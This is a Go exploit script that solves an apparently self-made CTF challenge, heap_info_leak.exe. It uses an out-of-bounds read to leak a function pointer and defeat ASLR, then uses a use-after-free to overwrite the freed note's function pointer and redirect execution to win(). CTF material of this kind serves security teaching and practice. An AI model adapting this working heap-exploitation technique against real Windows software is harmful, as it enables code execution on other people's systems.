/*
Solve script for heap_info_leak.exe: two-stage exploit.

Stage 1 -- OOB read to defeat ASLR:
The binary has ASLR enabled (DynamicBase flag set -- run `winpwn checksec` to
confirm). The win() address is randomized per run. But the S command prints
an arbitrary number of bytes from note[id]->data with no bounds check. Asking
for 32 bytes from a 24-byte Note reveals bytes 24-31, which are the 8-byte
onShow function pointer (real_show, also exported). From real_show's runtime
address and the static RVA difference (win_rva - real_show_rva, from the PE
export table), we compute win()'s runtime address:

    win_va = leaked_real_show_va + (win_rva - real_show_rva)

Stage 2 -- UAF function pointer overwrite:
The D command frees the note (dangling pointer stays in the table). The T
command allocates a raw 32-byte token; since LFH is not active (< 18
same-size allocations), the freed chunk is reused immediately. We place win_va
at offset 24 of the token payload (the onShow slot). P <id> dispatches through
the dangling note pointer and lands at win().

Real-CTF parallels (see heap_info_leak.c's top comment):
- justCTF 2024 "Baby Heap but Windows": heap struct at heap+0x2c0 leaks ntdll
- ECW CTF 2024 "Address Book": type confusion OOB read leaks binary pointer
*/
package main

import (
	"bytes"
	"encoding/binary"
	"encoding/hex"
	"fmt"
	"log"
	"strconv"
	"winpwn"
)

func parseAddr(line []byte) (uint64, error) {
	idx := bytes.Index(line, []byte("addr=0x"))
	if idx == -1 {
		return 0, fmt.Errorf("no addr= in %q", line)
	}
	return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64)
}

func main() {
	// Load the PE on-disk to compute static RVA offsets
	pf, err := winpwn.OpenPE("heap_info_leak.exe")
	if err != nil {
		log.Fatalf("OpenPE: %v", err)
	}
	realShowRVA, err := pf.GetProcAddress("real_show")
	if err != nil {
		log.Fatalf("real_show not found in exports: %v", err)
	}
	winRVA, err := pf.GetProcAddress("win")
	if err != nil {
		log.Fatalf("win not found in exports: %v", err)
	}
	pf.Close()

	// The RVA difference is the static offset between win() and real_show() --
	// constant regardless of where ASLR loads the binary.
	rvaDiff := int64(winRVA) - int64(realShowRVA)
	fmt.Printf("[+] win RVA=0x%x  real_show RVA=0x%x  diff=%+d\n", winRVA, realShowRVA, rvaDiff)

	tube, err := winpwn.Spawn("heap_info_leak.exe")
	if err != nil {
		log.Fatalf("Spawn: %v", err)
	}
	if _, err := tube.RecvLine(); err != nil { // "heap_info_leak ready ..."
		log.Fatalf("RecvLine: %v", err)
	}

	// Stage 1a: allocate one Note
	if err := tube.SendLine([]byte("N victim")); err != nil {
		log.Fatalf("SendLine N: %v", err)
	}
	resp, err := tube.RecvLine()
	if err != nil {
		log.Fatalf("RecvLine N: %v", err)
	}
	noteAddr, _ := parseAddr(resp)
	fmt.Printf("[+] Note @ 0x%x\n", noteAddr)

	// Stage 1b: OOB read -- request 32 bytes (struct size), byte 24-31 = onShow ptr
	if err := tube.SendLine([]byte("S 0 32")); err != nil {
		log.Fatalf("SendLine S: %v", err)
	}
	resp, err = tube.RecvLine()
	if err != nil {
		log.Fatalf("RecvLine S: %v", err)
	}
	// resp: "HEX <64 hex chars>"
	hexPart := bytes.TrimPrefix(bytes.TrimSpace(resp), []byte("HEX "))
	leaked, err := hex.DecodeString(string(hexPart))
	if err != nil || len(leaked) < 32 {
		log.Fatalf("bad HEX response: %q", resp)
	}
	realShowVA := binary.LittleEndian.Uint64(leaked[24:32])
	fmt.Printf("[+] leaked onShow = real_show @ 0x%x (ASLR'd!)\n", realShowVA)

	// Stage 1c: compute win()'s runtime address
	winVA := uint64(int64(realShowVA) + rvaDiff)
	fmt.Printf("[+] win() @ 0x%x (computed from leak + static RVA diff)\n", winVA)

	// Stage 2a: free the victim (dangling pointer stays)
	if err := tube.SendLine([]byte("D 0")); err != nil {
		log.Fatalf("SendLine D: %v", err)
	}
	if _, err := tube.RecvLine(); err != nil {
		log.Fatalf("RecvLine D: %v", err)
	}
	fmt.Printf("[+] freed victim note (dangling pointer at id=0)\n")

	// Stage 2b: allocate Token with win() at offset 24 (onShow position)
	payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winVA)...)
	if err := tube.SendLine([]byte("T " + winpwn.Enhex(payload))); err != nil {
		log.Fatalf("SendLine T: %v", err)
	}
	resp, err = tube.RecvLine()
	if err != nil {
		log.Fatalf("RecvLine T: %v", err)
	}
	tokenAddr, _ := parseAddr(resp)
	fmt.Printf("[+] Token @ 0x%x (want 0x%x)\n", tokenAddr, noteAddr)
	if tokenAddr != noteAddr {
		fmt.Printf("[-] WARN: chunk reuse mismatch -- may fail\n")
	}

	// Stage 2c: trigger the UAF call
	fmt.Printf("[+] triggering P 0 (UAF -> win())...\n")
	if err := tube.SendLine([]byte("P 0")); err != nil {
		log.Fatalf("SendLine P: %v", err)
	}
	tube.Interactive()
}